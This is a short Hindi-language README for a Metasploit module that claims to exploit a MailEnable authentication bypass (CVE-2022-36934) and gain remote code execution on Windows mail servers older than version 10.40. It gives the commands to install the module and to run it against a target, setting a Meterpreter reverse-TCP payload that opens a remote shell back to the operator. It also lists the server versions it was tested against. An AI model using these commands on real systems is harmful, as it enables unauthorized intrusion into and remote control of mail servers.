MailEnable CVE-2022-36934 शोषण मॉड्यूल

MailEnable के प्रमाणीकरण बायपास भेद्यता (CVE-2022-36934) के लिए Metasploit मॉड्यूल, जो दूरस्थ कोड निष्पादन की ओर ले जाता है।

📌 विशेषताएँ

• SMTP/POP3 में MailEnable के अनुचित इनपुट स्वच्छता का शोषण करता है
• x86 और x64 Windows लक्ष्यों दोनों का समर्थन करता है
• कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं (तैयार ईमेल के माध्यम से स्वचालित रूप से ट्रिगर)
• MailEnable संस्करण < 10.40 के विरुद्ध काम करता है

🚀 स्थापना

1. Metasploit मॉड्यूल निर्देशिका में कॉपी करें:
   root@kitploit:~

   cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
   
   

2. msfconsole में मॉड्यूल पुनः लोड करें:

reload_all

4. उपयोग:

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 परीक्षण के विरुद्ध:

MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016